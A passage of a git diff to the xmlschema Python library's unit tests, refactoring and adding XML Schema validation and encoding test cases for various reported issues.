<xs:enumeration value="foo"/> + </xs:restriction> + </xs:simpleType> + </xs:schema> + """)) + + namespaces = {'tns0': 'http://xmlschema.test/tns0', + 'tns1': 'http://xmlschema.test/tns1'} + + with self.assertRaises(XMLSchemaValidationError): + schema.decode('<root>bar</root>') + + data = schema.decode('<root>tns1:bar</root>', namespaces=namespaces) + self.assertEqual(data, + {'@xmlns:tns0': 'http://xmlschema.test/tns0', + '@xmlns:tns1': 'http://xmlschema.test/tns1', + '$': 'tns1:bar'}) + + root = schema.encode(data, namespaces=namespaces) + self.assertEqual(root.text, 'tns1:bar') + + data = schema.decode('<root>tns1:bar</root>', namespaces=namespaces, preserve_root=True) + self.assertEqual( + data, + {'root': { + '@xmlns:tns0': 'http://xmlschema.test/tns0', + '@xmlns:tns1': 'http://xmlschema.test/tns1', + '$': 'tns1:bar' + }} + ) + + root = schema.encode(data, namespaces=namespaces, preserve_root=True) + self.assertEqual(root.text, 'tns1:bar') + class TestEncoding11(TestEncoding): schema_class = XMLSchema11 diff --git a/tests/validation/test_validation.py b/tests/validation/test_validation.py index 92d2944..da0e30b 100644 --- a/tests/validation/test_validation.py +++ b/tests/validation/test_validation.py @@ -10,9 +10,9 @@ # import unittest import os -import sys import decimal from textwrap import dedent +from xml.etree import ElementTree try: import lxml.etree as lxml_etree @@ -20,9 +20,9 @@ lxml_etree = None import xmlschema -from xmlschema import XMLSchemaValidationError +from xmlschema import XMLSchemaValidationError, XMLSchemaStopValidation, \ + XMLSchemaChildrenValidationError -from xmlschema.etree import ElementTree from xmlschema.validators import XMLSchema11 from xmlschema.testing import XsdValidatorTestCase @@ -40,7 +40,7 @@ def check_validity(self, xsd_component, data, expected, use_defaults=True): @unittest.skipIf(lxml_etree is None, "The lxml library is not available.") def test_lxml(self): - xs = xmlschema.XMLSchema(self.casepath('examples/vehicles/vehicles.xsd')) + xs = self.schema_class(self.casepath('examples/vehicles/vehicles.xsd')) xt1 = lxml_etree.parse(self.casepath('examples/vehicles/vehicles.xml')) xt2 = lxml_etree.parse(self.casepath('examples/vehicles/vehicles-1_error.xml')) self.assertTrue(xs.is_valid(xt1)) @@ -62,13 +62,7 @@ def test_document_validate_api(self): else: path_line = '' - if sys.version_info >= (3, 6): - self.assertEqual('Path: /vhx:vehicles/vhx:cars', path_line) - else: - self.assertTrue( - 'Path: /vh:vehicles/vh:cars' == path_line or - 'Path: /vhx:vehicles/vhx:cars', path_line - ) # Due to unordered dicts + self.assertEqual('Path: /vhx:vehicles/vhx:cars', path_line) # Issue #80 vh_2_xt = ElementTree.parse(vh_2_file) @@ -126,16 +120,16 @@ def test_max_depth_argument(self): self.assertTrue(xsd_element.is_valid(root, max_depth=2)) self.assertFalse(xsd_element.is_valid(root, max_depth=3)) - # Need to provide namespace explicitly because the default namespace - # is set with xpathDefaultNamespace, that is '' in this case. + # Need to provide namespace explicitly because the default namespace is '' in this case. xsd_element = schema.find('collection/object', namespaces={'': schema.target_namespace}) + self.assertIsNotNone(xsd_element) self.assertTrue(xsd_element.is_valid(root[0])) self.assertFalse(xsd_element.is_valid(root[1])) self.assertTrue(xsd_element.is_valid(root[1], max_depth=1)) self.assertFalse(xsd_element.is_valid(root[1], max_depth=2)) - def test_extra_validator(self): + def test_extra_validator_argument(self): # Related to issue 227 def bikes_validator(elem, xsd_element_): @@ -168,30 +162,66 @@ def bikes_validator(elem, xsd_element_): self.vh_schema.validate(self.vh_xml_file, extra_validator=bikes_validator) self.assertIn('Reason: not an Harley-Davidson', str(ec.exception)) - def test_issue_064(self): - self.check_validity(self.st_schema, '<name xmlns="ns"></name>', False) + def test_validation_hook_argument(self): + resource = xmlschema.XMLResource( + self.casepath('examples/collection/collection-1_error.xml') + ) - def test_issue_171(self): - # First schema has an assert with naive check - schema = xmlschema.XMLSchema11(self.casepath('issues/issue_171/issue_171.xsd')) - self.check_validity(schema, '<tag name="test" abc="10" def="0"/>', False) - self.check_validity(schema, '<tag name="test" abc="10" def="1"/>', False) - self.check_validity(schema, '<tag name="test" abc="10"/>', True) - - # Same schema with a more reliable assert expression - schema = xmlschema.XMLSchema11(self.casepath('issues/issue_171/issue_171b.xsd')) - self.check_validity(schema, '<tag name="test" abc="10" def="0"/>', False) - self.check_validity(schema, '<tag name="test" abc="10" def="1"/>', False) - self.check_validity(schema, '<tag name="test" abc="10"/>', True) + with self.assertRaises(XMLSchemaValidationError) as ec: + self.col_schema.validate(resource) + self.assertIn('invalid literal for int() with base 10', str(ec.exception)) + + def stop_validation(e, _xsd_element): + if e is ec.exception.elem: + raise XMLSchemaStopValidation() + return False + + self.assertIsNone(self.col_schema.validate(resource, validation_hook=stop_validation)) + + def skip_validation(e, _xsd_element): + return e is ec.exception.elem + + self.assertIsNone(self.col_schema.validate(resource, validation_hook=skip_validation)) + + def test_path_argument(self): + schema = self.schema_class(self.casepath('examples/vehicles/vehicles.xsd')) + + self.assertTrue(schema.is_valid(self.vh_xml_file, path='*')) + self.assertTrue(schema.is_valid(self.vh_xml_file, path='/vh:vehicles')) + self.assertTrue(schema.is_valid(self.vh_xml_file, path='/vh:vehicles/vh:cars')) + self.assertTrue(schema.is_valid(self.vh_xml_file, path='vh:cars')) + self.assertTrue(schema.is_valid(self.vh_xml_file, path='/vh:vehicles/vh:cars/vh:car')) + self.assertTrue(schema.is_valid(self.vh_xml_file, path='.//vh:car')) + + self.assertTrue(schema.is_valid(self.vh_xml_file, path='xs:vehicles')) + self.assertFalse( + schema.is_valid(self.vh_xml_file, path='xs:vehicles', allow_empty=False) + ) + + def test_schema_path_argument__issue_326(self): + schema = self.schema_class(self.casepath('examples/vehicles/vehicles.xsd')) + document = ElementTree.parse(self.vh_xml_file) + + entries = document.findall('vh:cars', {'vh': 'http://example.com/vehicles'}) + self.assertListEqual(entries, [document.getroot()[0]]) + for entry in entries: + self.assertTrue(schema.is_valid( + entry, + schema_path='/vh:vehicles/vh:cars', + namespaces={'vh': 'http://example.com/vehicles'} + )) + + entries = document.findall('vh:cars/vh:car', {'vh': 'http://example.com/vehicles'}) + self.assertListEqual(entries, list(document.getroot()[0][:])) + for entry in entries: + self.assertTrue(schema.is_valid( + entry, + schema_path='.//vh:cars/vh:car', + namespaces={'vh': 'http://example.com/vehicles'} + )) - # Another schema with a simple assert expression to test that EBV of abc/def='0' is True - schema = xmlschema.XMLSchema11(self.casepath('issues/issue_171/issue_171c.xsd')) - self.check_validity(schema, '<tag name="test" abc="0" def="1"/>', True) - self.check_validity(schema, '<tag name="test" abc="1" def="0"/>', True) - self.check_validity(schema, '<tag name="test" abc="1" def="1"/>', True) - self.check_validity(schema, '<tag name="test" abc="0" def="0"/>', True) - self.check_validity(schema, '<tag name="test" abc="1"/>', False) - self.check_validity(schema, '<tag name="test" def="1"/>', False) + def test_issue_064(self): + self.check_validity(self.st_schema, '<name xmlns="ns"></name>', False) def test_issue_183(self): # Test for issue #183 @@ -222,7 +252,10 @@ def test_issue_183(self): xml_data = '<ns0:root xmlns:ns0="http://xmlschema.test/0" >ns0:elem1</ns0:root>' self.check_validity(schema, xml_data, True) - self.assertEqual(schema.decode(xml_data), 'ns0:elem1') + self.assertEqual(schema.decode(xml_data), + {'@xmlns:ns0': 'http://xmlschema.test/0', '$': 'ns0:elem1'}) + + self.assertEqual(schema.decode(xml_data, strip_namespaces=True), 'ns0:elem1') schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" @@ -235,7 +268,7 @@ def test_issue_183(self): <xs:element name="elem2" type="xs:string"/> <xs:element name="elem3" type="xs:string"/> <xs:element name="elem4" type="xs:string"/> - + <xs:element name="root" type="enumType"/> <xs:simpleType name="enumType"> @@ -244,7 +277,7 @@ def test_issue_183(self): <xs:enumeration value="elem2"/> <xs:enumeration value="tns1:other1"/> <xs:enumeration value="elem3"/> - <xs:enumeration value="tns2:other2"/> + <xs:enumeration value="tns2:other2"/> <xs:enumeration value="elem4"/> </xs:restriction> </xs:simpleType> @@ -254,7 +287,7 @@ def test_issue_183(self): self.check_validity(schema, xml_data, True) def test_issue_213(self): - schema = xmlschema.XMLSchema(dedent("""\ + schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="amount" type="xs:decimal"/> </xs:schema>""")) @@ -266,7 +299,7 @@ def test_issue_213(self): self.assertIsInstance(schema.decode(xml2), decimal.Decimal) def test_issue_224__validate_malformed_file(self): - schema = xmlschema.XMLSchema(dedent("""\ + schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="xs:string"/> </xs:schema>""")) @@ -277,7 +310,7 @@ def test_issue_224__validate_malformed_file(self): schema.is_valid(malformed_xml_file) def test_issue_238__validate_bytes_strings(self): - schema = xmlschema.XMLSchema(dedent("""\ + schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="value" type="xs:int"/> </xs:schema>""")) @@ -291,6 +324,201 @@ def test_issue_238__validate_bytes_strings(self): self.assertIsInstance(col_xml_data, bytes) self.assertTrue(self.col_schema.is_valid(col_xml_data)) + def test_issue_350__ignore_xsi_type_for_schema_validation(self): + schema = self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> + + <xs:element name="root" xsi:type="non-empty-string" /> + + <xs:simpleType name="non-empty-string"> + <xs:restriction base="xs:string"> + <xs:minLength value="1" /> + </xs:restriction> + </xs:simpleType> + + </xs:schema>""")) + + self.assertTrue(schema.is_valid('<root></root>')) + self.assertTrue(schema.is_valid('<root>foo</root>')) + + self.assertFalse(schema.is_valid( + '<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ' + 'xsi:type="non-empty-string"></root>' + )) + self.assertTrue(schema.is_valid( + '<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ' + 'xsi:type="non-empty-string">foo</root>' + )) + + def test_issue_356__validate_empty_simple_elements(self): + schema = self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + + <xs:element name="root1" type="emptyString" /> + <xs:element name="root2" type="emptyList" /> + <xs:element name="root3" type="emptiableUnion" /> + + <xs:simpleType name="emptyString"> + <xs:restriction base='xs:string'> + <xs:length value="0"/> + </xs:restriction> + </xs:simpleType> + + <xs:simpleType name="emptyList"> + <xs:list itemType="emptyString"/> + </xs:simpleType> + + <xs:simpleType name="emptiableUnion"> + <xs:union memberTypes="xs:int emptyString"/> + </xs:simpleType> + + </xs:schema>""")) + + self.assertTrue(schema.is_valid('<root1></root1>')) + self.assertFalse(schema.is_valid('<root1>foo</root1>')) + + self.assertTrue(schema.is_valid('<root2></root2>')) + self.assertFalse(schema.is_valid('<root2>foo</root2>')) + self.assertFalse(schema.is_valid('<root2>foo bar</root2>')) + + self.assertTrue(schema.is_valid('<root3>1</root3>')) + self.assertTrue(schema.is_valid('<root3></root3>')) + self.assertFalse(schema.is_valid('<root3>foo</root3>')) + + def test_element_form(self): + schema = self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + targetNamespace="http://xmlschema.test/ns"> + + <xs:element name="root"> + <xs:complexType> + <xs:sequence> + <xs:element name="c1" minOccurs="0" /> + <xs:element name="c2" minOccurs="0" form="qualified"/> + <xs:element name="c3" minOccurs="0" form="unqualified"/> + </xs:sequence> + </xs:complexType> + </xs:element> + + </xs:schema>""")) + + self.assertFalse(schema.is_valid('<root></root>')) + self.assertTrue(schema.is_valid( + '<root xmlns="http://xmlschema.test/ns"></root>') + ) + self.assertTrue(schema.is_valid( + '<root xmlns="http://xmlschema.test/ns"><c1 xmlns=""/></root>' + )) + self.assertFalse(schema.is_valid( + '<root xmlns="http://xmlschema.test/ns"><c1/></root>' + )) + self.assertFalse(schema.is_valid( + '<root xmlns="http://xmlschema.test/ns"><c2 xmlns=""/></root>' + )) + self.assertTrue(schema.is_valid( + '<root xmlns="http://xmlschema.test/ns"><c2/></root>' + )) + self.assertTrue(schema.is_valid( + '<root xmlns="http://xmlschema.test/ns"><c3 xmlns=""/></root>' + )) + self.assertFalse(schema.is_valid( + '<root xmlns="http://xmlschema.test/ns"><c3/></root>' + )) + + def test_attribute_form(self): + schema = self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + targetNamespace="http://xmlschema.test/ns"> + + <xs:element name="root"> + <xs:complexType> + <xs:attribute name="a1"/> + <xs:attribute name="a2" form="qualified"/> + <xs:attribute name="a3" form="unqualified"/> + </xs:complexType> + </xs:element> + + </xs:schema>""")) + + self.assertTrue(schema.is_valid( + '<tns:root xmlns:tns="http://xmlschema.test/ns" a1="foo"/>' + )) + self.assertFalse(schema.is_valid( + '<tns:root xmlns:tns="http://xmlschema.test/ns" tns:a1="foo"/>' + )) + self.assertFalse(schema.is_valid( + '<tns:root xmlns:tns="http://xmlschema.test/ns" a2="foo"/>' + )) + self.assertTrue(schema.is_valid( + '<tns:root xmlns:tns="http://xmlschema.test/ns" tns:a2="foo"/>' + )) + self.assertTrue(schema.is_valid( + '<tns:root xmlns:tns="http://xmlschema.test/ns" a3="foo"/>' + )) + self.assertFalse(schema.is_valid( + '<tns:root xmlns:tns="http://xmlschema.test/ns" tns:a3="foo"/>' + )) + + def test_issue_363(self): + schema = self.schema_class(self.casepath('issues/issue_363/issue_363.xsd')) + + self.assertTrue(schema.is_valid(self.casepath('issues/issue_363/issue_363.xml'))) + self.assertFalse( + schema.is_valid(self.casepath('issues/issue_363/issue_363-invalid-1.xml'))) + self.assertFalse( + schema.is_valid(self.casepath('issues/issue_363/issue_363-invalid-2.xml'))) + + # Issue instance case (no default namespace and namespace mismatch) + self.assertFalse( + schema.is_valid(self.casepath('issues/issue_363/issue_363-invalid-3.xml'))) + self.assertFalse( + schema.is_valid(self.casepath('issues/issue_363/issue_363-invalid-3.xml'), + namespaces={'': "http://xmlschema.test/ns"})) + + def test_dynamic_schema_load(self): + xml_file = self.casepath('features/namespaces/dynamic-case1.xml') + + with self.assertRaises(XMLSchemaValidationError) as ctx: + xmlschema.validate(xml_file, cls=self.schema_class) + + self.assertIn("schemaLocation declaration after namespace start", + str(ctx.exception)) + + def test_issue_410(self): + schema = self.schema_class(dedent("""\ + <?xml version="1.0" encoding="UTF-8"?> + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="muclient"> + <xs:complexType> + <xs:choice minOccurs="0" maxOccurs="unbounded"> + <xs:element name="include"/> + <xs:choice> + <xs:element name="plugin"/> + <xs:element name="world"/> + <xs:element name="triggers"/> + <xs:element name="aliases"/> + <xs:element name="timers"/> + <xs:element name="macros"/> + <xs:element name="variables"/> + <xs:element name="colours"/> + <xs:element name="keypad"/> + <xs:element name="printing"/> + </xs:choice> + </xs:choice> + </xs:complexType> + </xs:element> + </xs:schema>""")) + + xml_data = '<muclient></muclient>' + self.check_validity(schema, xml_data, True) + + xml_data = '<muclient><include/></muclient>' + self.check_validity(schema, xml_data, True) + + xml_data = '<muclient><world/><include/></muclient>' + self.check_validity(schema, xml_data, True) + class TestValidation11(TestValidation): schema_class = XMLSchema11 @@ -306,6 +534,181 @@ def test_default_attributes(self): " <node node-id='2' colour='red'>beta</node>\n" "</tree>")) + def test_issue_171(self): + # First schema has an assert with a naive check + schema = self.schema_class(self.casepath('issues/issue_171/issue_171.xsd')) + self.check_validity(schema, '<tag name="test" abc="10" def="0"/>', False) + self.check_validity(schema, '<tag name="test" abc="10" def="1"/>', False) + self.check_validity(schema, '<tag name="test" abc="10"/>', True) + + # Same schema with a more reliable assert expression + schema = self.schema_class(self.casepath('issues/issue_171/issue_171b.xsd')) + self.check_validity(schema, '<tag name="test" abc="10" def="0"/>', False) + self.check_validity(schema, '<tag name="test" abc="10" def="1"/>', False) + self.check_validity(schema, '<tag name="test" abc="10"/>', True) + + # Another schema with a simple assert expression to test that EBV of abc/def='0' is True + schema = self.schema_class(self.casepath('issues/issue_171/issue_171c.xsd')) + self.check_validity(schema, '<tag name="test" abc="0" def="1"/>', True) + self.check_validity(schema, '<tag name="test" abc="1" def="0"/>', True) + self.check_validity(schema, '<tag name="test" abc="1" def="1"/>', True) + self.check_validity(schema, '<tag name="test" abc="0" def="0"/>', True) + self.check_validity(schema, '<tag name="test" abc="1"/>', False) + self.check_validity(schema, '<tag name="test" def="1"/>', False) + + def test_optional_errors_collector(self): + schema = self.schema_class(self.col_xsd_file) + invalid_col_xml_file = self.casepath('examples/collection/collection-1_error.xml') + + errors = [] + chunks = list(schema.iter_decode(invalid_col_xml_file, errors=errors)) + self.assertTrue(len(chunks), 2) + self.assertIsInstance(chunks[0], XMLSchemaValidationError) + self.assertTrue(len(errors), 1) + self.assertIs(chunks[0], errors[0]) + + def test_dynamic_schema_load(self): + xml_file = self.casepath('features/namespaces/dynamic-case1.xml') + + with self.assertRaises(XMLSchemaValidationError) as ctx: + xmlschema.validate(xml_file, cls=self.schema_class) + + self.assertIn("global element with name='elem1' is already defined", + str(ctx.exception)) + + xml_file = self.casepath('features/namespaces/dynamic-case1-2.xml') + + with self.assertRaises(XMLSchemaValidationError) as ctx: + xmlschema.validate(xml_file, cls=self.schema_class) + + self.assertIn("change the assessment outcome of previous items", + str(ctx.exception)) + + def test_incorrect_validation_errors__issue_372(self): + schema = self.schema_class(self.casepath('issues/issue_372/issue_372.xsd')) + + xml_file = self.casepath('issues/issue_372/issue_372-1.xml') + errors = list(schema.iter_errors(xml_file)) + self.assertEqual(len(errors), 1) + + err = errors[0] + self.assertIsInstance(err, XMLSchemaChildrenValidationError) + self.assertEqual(err.invalid_child, err.elem[err.index]) + self.assertEqual(err.invalid_tag, 'invalidTag') + + xml_file = self.casepath('issues/issue_372/issue_372-2.xml') + errors = list(schema.iter_errors(xml_file)) + self.assertEqual(len(errors), 1) + + err = errors[0] + self.assertIsInstance(err, XMLSchemaChildrenValidationError) + self.assertEqual(err.invalid_child, err.elem[err.index]) + self.assertEqual(err.invalid_tag, 'optionalSecondChildTag') + + def test_invalid_default_open_content__issue_397(self): + schema = self.schema_class('''\ + <xs:schema elementFormDefault="qualified" attributeFormDefault="unqualified" + vc:minVersion="1.1" + xmlns:xs="http://www.w3.org/2001/XMLSchema" + xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" xmlns="urn:us:mil:nga:ntb:soddxa" + targetNamespace="urn:us:mil:nga:ntb:soddxa"> + <xs:defaultOpenContent mode="interleave"> + <xs:any /> + </xs:defaultOpenContent> + <xs:complexType name="SecurityDataType"> + <xs:sequence> + <xs:element name="smRestrictedCollection" type="xs:boolean" minOccurs="0" /> + <xs:element name="accmClassification" type="xs:string" minOccurs="0" /> + </xs:sequence> + </xs:complexType> + + <xs:element name="spaceObjectDescriptionData"> + <xs:complexType> + <xs:sequence> + <xs:element name="securityData" type="SecurityDataType" /> + </xs:sequence> + </xs:complexType> + </xs:element> + </xs:schema>''') + + self.assertTrue(schema.is_valid('''\ + <spaceObjectDescriptionData xmlns="urn:us:mil:nga:ntb:soddxa"> + <securityData> + <smRestrictedCollection>false</smRestrictedCollection> + <accmClassification>text</accmClassification> + </securityData> + </spaceObjectDescriptionData>''')) + + self.assertTrue(schema.is_valid(''' + <spaceObjectDescriptionData xmlns="urn:us:mil:nga:ntb:soddxa"> + <securityData> + <accmClassification>text</accmClassification> + </securityData> + </spaceObjectDescriptionData> + ''')) + + def test_all_model_with_emptiable_particles(self): + schema = self.schema_class(''' + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="doc"> + <xs:complexType> + <xs:all> + <xs:element name="a" maxOccurs="2"/> + <xs:element name="b" minOccurs="0"/> + <xs:element name="c" minOccurs="0"/> + </xs:all> + </xs:complexType> + </xs:element> + </xs:schema> + ''') + + with self.assertRaises(XMLSchemaValidationError) as ec: + schema.validate('<doc>\n<c/>\n<b/>\n</doc>') + + self.assertEqual( + ec.exception.reason, + "The content of element 'doc' is not complete. Tag 'a' expected." + ) + + def test_nested_all_groups_and_wildcard(self): + schema = self.schema_class(''' + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + + <xs:group name="group1"> + <xs:all> + <xs:element name="a" maxOccurs="2"/> + <xs:element name="b" minOccurs="0"/> + <xs:element name="c" minOccurs="0"/> + </xs:all> + </xs:group> + + <xs:element name="doc"> + <xs:complexType> + <xs:all> + <xs:group ref="group1"/> + <xs:any namespace="http://open.com/" processContents="lax" + minOccurs="0" maxOccurs="unbounded"/> + </xs:all> + </xs:complexType> + </xs:element> + + </xs:schema>''') + + with self.assertRaises(XMLSchemaValidationError) as ec: + schema.validate(''' + <doc> + <c/> + <b/> + <extra xmlns="http://open.com/">42</extra> + <extra xmlns="http://open.com/">97</extra> + </doc> + ''') + + self.assertEqual( + ec.exception.reason, + "The content of element 'doc' is not complete. Tag 'a' expected." + ) + if __name__ == '__main__': import platform diff --git a/tests/validators/test_attributes.py b/tests/validators/test_attributes.py index d40813a..c21f95c 100644 --- a/tests/validators/test_attributes.py +++ b/tests/validators/test_attributes.py @@ -65,23 +65,6 @@ def test_attribute_use(self): self.assertEqual(ctx.exception.message, "attribute use='': value doesn't match any pattern of ['\\\\c+']") - def test_is_empty_attribute(self): - schema = self.check_schema(""" - <xs:attribute name="a1" type="xs:string"/> - <xs:attribute name="a2" type="xs:string" fixed=""/> - <xs:attribute name="a3" type="emptyString"/> - - <xs:simpleType name="emptyString"> - <xs:restriction base="xs:string"> - <xs:maxLength value="0"/> - </xs:restriction> - </xs:simpleType> - """) - - self.assertFalse(schema.attributes['a1'].is_empty()) - self.assertTrue(schema.attributes['a2'].is_empty()) - self.assertTrue(schema.attributes['a3'].is_empty()) - def test_wrong_attribute_type(self): self.check_schema(""" <xs:attributeGroup name="alpha"> @@ -177,7 +160,7 @@ def test_name_attribute(self): with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class("""<xs:schema - xmlns:xs="http://www.w3.org/2001/XMLSchema" + xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://www.w3.org/2001/XMLSchema-instance" > <xs:attribute name="phone" type="xs:string"/> </xs:schema>""") @@ -314,7 +297,7 @@ def test_attribute_group_mapping(self): with self.assertRaises(ValueError) as ec: attribute_group['a3'] = attribute_group['a2'] - self.assertEqual("'a2' name and key 'a3' mismatch", str(ec.exception)) + self.assertIn("mismatch", str(ec.exception)) xsd_attribute = attribute_group['a2'] del attribute_group['a2'] @@ -542,7 +525,7 @@ def test_target_namespace(self): xs = self.get_schema(dedent("""\ <xs:attributeGroup name="attrs"> - <xs:attribute name="a" type="xs:string" + <xs:attribute name="a" type="xs:string" targetNamespace="http://xmlschema.test/ns"/> <xs:attribute ref="b"/> </xs:attributeGroup> @@ -559,7 +542,7 @@ def test_prohibited_and_fixed_incompatibility(self): with self.assertRaises(XMLSchemaParseError) as ec: self.get_schema(dedent("""\ <xs:attributeGroup name="attrs"> - <xs:attribute name="a" type="xs:string" + <xs:attribute name="a" type="xs:string" use="prohibited" fixed="foo"/> </xs:attributeGroup>""")) diff --git a/tests/validators/test_complex_types.py b/tests/validators/test_complex_types.py index d6c149a..2c3fa12 100644 --- a/tests/validators/test_complex_types.py +++ b/tests/validators/test_complex_types.py @@ -10,15 +10,19 @@ # import unittest import warnings +from pathlib import Path +from textwrap import dedent +from xml.etree.ElementTree import Element from xmlschema import XMLSchemaParseError, XMLSchemaModelError -from xmlschema.etree import etree_element from xmlschema.validators import XMLSchema11 from xmlschema.testing import XsdValidatorTestCase class TestXsdComplexType(XsdValidatorTestCase): + TEST_CASES_DIR = str(Path(__file__).parent.joinpath('../test_cases').resolve()) + def check_complex_restriction(self, base, restriction, expected=None, **kwargs): content = 'complex' if self.content_pattern.search(base) else 'simple' source = """ @@ -408,33 +412,14 @@ def test_content_type(self): self.assertTrue(xsd_type.has_mixed_content()) self.assertEqual(xsd_type.content_type_label, 'mixed') - def test_content_type_property(self): - schema = self.schema_class(""" - <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> - <xs:complexType name="type1"> - <xs:sequence> - <xs:element name="elem1"/> - </xs:sequence> - </xs:complexType> - </xs:schema>""") - - xsd_type = schema.types['type1'] - - with warnings.catch_warnings(record=True) as context: - warnings.simplefilter("always") - self.assertIs(xsd_type.content_type, xsd_type.content) - - self.assertEqual(len(context), 1) - self.assertIs(context[0].category, DeprecationWarning) - def test_is_empty(self): schema = self.check_schema(""" <xs:complexType name="emptyType1"/> - + <xs:complexType name="emptyType2"> <xs:sequence/> </xs:complexType> - + <xs:complexType name="emptyType3"> <xs:complexContent> <xs:restriction base="xs:anyType"/> @@ -446,7 +431,7 @@ def test_is_empty(self): <xs:element name="elem1"/> </xs:sequence> </xs:complexType> - + <xs:complexType name="notEmptyType2"> <xs:complexContent> <xs:extension base="xs:anyType"/> @@ -460,6 +445,389 @@ def test_is_empty(self): self.assertFalse(schema.types['notEmptyType1'].is_empty()) self.assertFalse(schema.types['notEmptyType2'].is_empty()) + def test_restriction_with_empty_particle__issue_323(self): + schema = self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:complexType name="ED" mixed="true"> + <xs:complexContent> + <xs:restriction base="xs:anyType"> + <xs:sequence> + <xs:element name="reference" type="xs:string" minOccurs="0" maxOccurs="1"/> + <xs:element name="thumbnail" type="thumbnail" minOccurs="0" maxOccurs="1"/> + </xs:sequence> + </xs:restriction> + </xs:complexContent> + </xs:complexType> + + <xs:complexType name="thumbnail" mixed="true"> + <xs:complexContent> + <xs:restriction base="ED"> + <xs:sequence> + <xs:element name="reference" type="xs:string" minOccurs="0" maxOccurs="0"/> + <xs:element name="thumbnail" type="thumbnail" minOccurs="0" maxOccurs="0"/> + </xs:sequence> + </xs:restriction> + </xs:complexContent> + </xs:complexType> + + <xs:complexType name="ST" mixed="true"> + <xs:complexContent> + <xs:restriction base="ED"> + <xs:sequence> + <xs:element name="reference" type="xs:string" minOccurs="0" maxOccurs="0"/> + <xs:element name="thumbnail" type="ED" minOccurs="0" maxOccurs="0"/> + </xs:sequence> + </xs:restriction> + </xs:complexContent> + </xs:complexType> + </xs:schema>"""), build=False) + + self.assertIsNone(schema.build()) + self.assertTrue(schema.built) + + def test_mixed_content_extension__issue_334(self): + schema = self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + + <xs:complexType name="mixedContentType" mixed="true"> + <xs:sequence> + <xs:element name="elem1"/> + </xs:sequence> + </xs:complexType> + + <xs:element name="foo"> + <xs:complexType> + <xs:complexContent> + <xs:extension base="mixedContentType"> + <xs:attribute name="bar" type="xs:string" use="required" /> + </xs:extension> + </xs:complexContent> + </xs:complexType> + </xs:element> + + </xs:schema> + """)) + + self.assertTrue(schema.types['mixedContentType'].mixed) + self.assertTrue(schema.elements['foo'].type.mixed) + self.assertTrue(schema.elements['foo'].type.content.mixed) + + def test_mixed_content_extension__issue_337(self): + schema = self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <!-- Valid schema: the derived type adds empty content --> + <xs:complexType name="baseType" mixed="true"> + <xs:sequence> + <xs:element name="elem1"/> + </xs:sequence> + </xs:complexType> + <xs:complexType name="derivedType"> + <xs:complexContent> + <xs:extension base="baseType"> + </xs:extension> + </xs:complexContent> + </xs:complexType> + </xs:schema>""")) + + self.assertTrue(schema.types['baseType'].mixed) + self.assertEqual(schema.types['baseType'].content_type_label, 'mixed') + self.assertTrue(schema.types['derivedType'].mixed) + self.assertEqual(schema.types['derivedType'].content_type_label, 'mixed') + + with self.assertRaises(XMLSchemaParseError): + self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <!-- Invalid schema: the derived type adds element-only content --> + <xs:complexType name="baseType" mixed="true"> + <xs:sequence> + <xs:element name="elem1"/> + </xs:sequence> + </xs:complexType> + <xs:complexType name="derivedType"> + <xs:complexContent> + <xs:extension base="baseType"> + <xs:sequence> + <xs:element name="elem2"/> + </xs:sequence> + </xs:extension> + </xs:complexContent> + </xs:complexType> + </xs:schema>""")) + + schema = self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <!-- Valid schema: the derived type adds mixed content --> + <xs:complexType name="baseType" mixed="true"> + </xs:complexType> + <xs:complexType name="derivedType"> + <xs:complexContent mixed="true"> + <xs:extension base="baseType"> + <xs:sequence> + <xs:element name="elem1"/> + </xs:sequence> + </xs:extension> + </xs:complexContent> + </xs:complexType> + </xs:schema>""")) + + self.assertTrue(schema.types['baseType'].mixed) + self.assertEqual(schema.types['baseType'].content_type_label, 'mixed') + self.assertTrue(schema.types['derivedType'].mixed) + self.assertEqual(schema.types['derivedType'].content_type_label, 'mixed') + + with self.assertRaises(XMLSchemaParseError): + self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <!-- Invalid schema: the derived type adds element-only content --> + <xs:complexType name="baseType" mixed="true"> + </xs:complexType> + <xs:complexType name="derivedType"> + <xs:complexContent> + <xs:extension base="baseType"> + <xs:sequence> + <xs:element name="elem1"/> + </xs:sequence> + </xs:extension> + </xs:complexContent> + </xs:complexType> + </xs:schema>""")) + + def test_mixed_content_extension__issue_414(self): + # Not a bug, the user refers to an old version (v1.10), but + # there is a detailed analysis on that: + # https://stackoverflow.com/a/78942158/1838607 + xsd_file = self.casepath('issues/issue_414/issue_414.xsd') + xml_file = self.casepath('issues/issue_414/issue_414.xml') + + schema = self.schema_class(xsd_file) + self.assertTrue(schema.types['mixedElement'].mixed) + 